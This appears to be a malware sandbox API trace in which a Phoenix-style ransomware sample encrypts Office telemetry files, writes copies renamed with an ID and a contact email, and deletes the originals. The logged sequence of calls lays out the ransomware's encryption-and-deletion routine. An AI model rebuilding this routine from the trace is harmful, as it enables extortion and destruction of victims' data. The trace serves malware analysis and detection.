	[0267.439] ReadFile (in: hFile=0x244, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x3694b, lpOverlapped=0x0) returned 1
	[0267.459] CryptEncrypt (in: hKey=0x151040, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x36950, dwBufLen=0x36950 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x36950) returned 1
	[0267.460] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x36950, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x36950, lpOverlapped=0x0) returned 1
	[0267.504] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0267.505] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.505] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50, dwBufLen=0x50 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x50) returned 1
	[0267.505] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.505] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x102, lpOverlapped=0x0) returned 1
	[0267.505] CryptDestroyKey (hKey=0x151040) returned 1
	[0267.505] CloseHandle (hObject=0x244) returned 1
	[0267.505] CloseHandle (hObject=0x2c4) returned 1
	[0267.505] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\16.0\\winword.exe_Rules.xml" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\16.0\\winword.exe_rules.xml")) returned 1
	[0267.507] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.507] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{61F167A5-718E-4E8B-8D6B-141DA9EB9DC9} (0) - 3976 - visio.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{61f167a5-718e-4e8b-8d6b-141da9eb9dc9} (0) - 3976 - visio.exe - otele.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.522] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=1409) returned 1
	[0267.523] CloseHandle (hObject=0x2e4) returned 1
	[0267.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{61F167A5-718E-4E8B-8D6B-141DA9EB9DC9} (0) - 3976 - visio.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{61f167a5-718e-4e8b-8d6b-141da9eb9dc9} (0) - 3976 - visio.exe - otele.dat")) returned 0x20
	[0267.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{61F167A5-718E-4E8B-8D6B-141DA9EB9DC9} (0) - 3976 - visio.exe - OTele.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{61f167a5-718e-4e8b-8d6b-141da9eb9dc9} (0) - 3976 - visio.exe - otele.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.532] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{61F167A5-718E-4E8B-8D6B-141DA9EB9DC9} (0) - 3976 - visio.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{61f167a5-718e-4e8b-8d6b-141da9eb9dc9} (0) - 3976 - visio.exe - otele.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.532] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.532] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.532] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{61F167A5-718E-4E8B-8D6B-141DA9EB9DC9} (0) - 3976 - visio.exe - OTele.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{61f167a5-718e-4e8b-8d6b-141da9eb9dc9} (0) - 3976 - visio.exe - otele.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.535] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1517c0) returned 1
	[0267.535] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.535] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x581, lpOverlapped=0x0) returned 1
	[0267.628] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x590, dwBufLen=0x590 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x590) returned 1
	[0267.628] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x590, lpOverlapped=0x0) returned 1
	[0267.629] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0267.629] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.629] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0267.629] CryptDestroyKey (hKey=0x151440) returned 1
	[0267.629] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x172, lpOverlapped=0x0) returned 1
	[0267.629] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0267.629] CloseHandle (hObject=0x240) returned 1
	[0267.629] CloseHandle (hObject=0x2e8) returned 1
	[0267.629] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{61F167A5-718E-4E8B-8D6B-141DA9EB9DC9} (0) - 3976 - visio.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{61f167a5-718e-4e8b-8d6b-141da9eb9dc9} (0) - 3976 - visio.exe - otele.dat")) returned 1
	[0267.630] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.630] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (1) - 3932 - excel.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (1) - 3932 - excel.exe - otelemediumcost.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.630] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=505) returned 1
	[0267.630] CloseHandle (hObject=0x2e8) returned 1
	[0267.630] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (1) - 3932 - excel.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (1) - 3932 - excel.exe - otelemediumcost.dat")) returned 0x20
	[0267.631] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (1) - 3932 - excel.exe - OTeleMediumCost.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (1) - 3932 - excel.exe - otelemediumcost.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (1) - 3932 - excel.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (1) - 3932 - excel.exe - otelemediumcost.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.631] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.631] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.631] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (1) - 3932 - excel.exe - OTeleMediumCost.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (1) - 3932 - excel.exe - otelemediumcost.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.631] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0267.631] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.631] ReadFile (in: hFile=0x2e8, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x1f9, lpOverlapped=0x0) returned 1
	[0267.635] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x200, dwBufLen=0x200 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x200) returned 1
	[0267.635] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x200, lpOverlapped=0x0) returned 1
	[0267.636] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0267.636] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.636] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0, dwBufLen=0xd0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xd0) returned 1
	[0267.636] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0267.636] WriteFile (in: hFile=0x240, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x182, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x182, lpOverlapped=0x0) returned 1
	[0267.636] CryptDestroyKey (hKey=0x151200) returned 1
	[0267.636] CloseHandle (hObject=0x2e8) returned 1
	[0267.636] CloseHandle (hObject=0x240) returned 1
	[0267.637] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (1) - 3932 - excel.exe - OTeleMediumCost.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (1) - 3932 - excel.exe - otelemediumcost.dat")) returned 1
	[0267.637] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.637] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (2) - 3932 - excel.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (2) - 3932 - excel.exe - otele.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.638] GetFileSizeEx (in: hFile=0x240, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=278) returned 1
	[0267.638] CloseHandle (hObject=0x240) returned 1
	[0267.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (2) - 3932 - excel.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (2) - 3932 - excel.exe - otele.dat")) returned 0x20
	[0267.638] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (2) - 3932 - excel.exe - OTele.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (2) - 3932 - excel.exe - otele.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.638] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (2) - 3932 - excel.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (2) - 3932 - excel.exe - otele.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.638] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.638] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.638] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (2) - 3932 - excel.exe - OTele.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (2) - 3932 - excel.exe - otele.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0267.639] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151700) returned 1
	[0267.639] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.639] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x116, lpOverlapped=0x0) returned 1
	[0267.640] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0267.640] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0267.641] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1512c0) returned 1
	[0267.641] CryptSetKeyParam (hKey=0x1512c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.641] CryptEncrypt (in: hKey=0x1512c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0267.641] CryptDestroyKey (hKey=0x1512c0) returned 1
	[0267.641] WriteFile (in: hFile=0x2e8, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x172, lpOverlapped=0x0) returned 1
	[0267.644] CryptDestroyKey (hKey=0x151700) returned 1
	[0267.644] CloseHandle (hObject=0x240) returned 1
	[0267.644] CloseHandle (hObject=0x2e8) returned 1
	[0267.644] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{6E699364-D728-4772-BD21-24A21748BF64} (2) - 3932 - excel.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{6e699364-d728-4772-bd21-24a21748bf64} (2) - 3932 - excel.exe - otele.dat")) returned 1
	[0267.645] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.645] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (0) - 2228 - winproj.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (0) - 2228 - winproj.exe - otele.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0267.657] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=283) returned 1
	[0267.658] CloseHandle (hObject=0x2e4) returned 1
	[0267.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (0) - 2228 - winproj.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (0) - 2228 - winproj.exe - otele.dat")) returned 0x20
	[0267.658] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (0) - 2228 - winproj.exe - OTele.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (0) - 2228 - winproj.exe - otele.dat.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0267.661] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (0) - 2228 - winproj.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (0) - 2228 - winproj.exe - otele.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x240
	[0267.661] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.661] SetFilePointerEx (in: hFile=0x240, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0267.661] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (0) - 2228 - winproj.exe - OTele.dat.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (0) - 2228 - winproj.exe - otele.dat.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.665] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151200) returned 1
	[0267.665] CryptSetKeyParam (hKey=0x151200, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.665] ReadFile (in: hFile=0x240, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x11b, lpOverlapped=0x0) returned 1
	[0267.666] CryptEncrypt (in: hKey=0x151200, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120, dwBufLen=0x120 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x120) returned 1
	[0267.666] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x120, lpOverlapped=0x0) returned 1
	[0267.666] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151540) returned 1
	[0267.666] CryptSetKeyParam (hKey=0x151540, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0267.666] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0, dwBufLen=0xc0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xc0) returned 1
	[0267.667] CryptDestroyKey (hKey=0x151540) returned 1
	[0267.667] WriteFile (in: hFile=0x244, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x172, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x172, lpOverlapped=0x0) returned 1
	[0267.669] CryptDestroyKey (hKey=0x151200) returned 1
	[0267.669] CloseHandle (hObject=0x240) returned 1
	[0267.669] CloseHandle (hObject=0x244) returned 1
	[0267.669] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (0) - 2228 - winproj.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (0) - 2228 - winproj.exe - otele.dat")) returned 1
	[0267.670] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0267.670] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\Office\\OTele\\{9C5E7D9B-2A2B-4118-AE33-9030D7BCCAB1} (1) - 2228 - winproj.exe - OTele.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\office\\otele\\{9c5e7d9b-2a2b-4118-ae33-9030d7bccab1} (1) - 2228 - winproj.exe - otele.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x244
	[0267.670] GetFileSizeEx (in: hFile=0x244, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=500) returned 1
	[0267.671] CloseHandle (hObject=0x244) returned 1
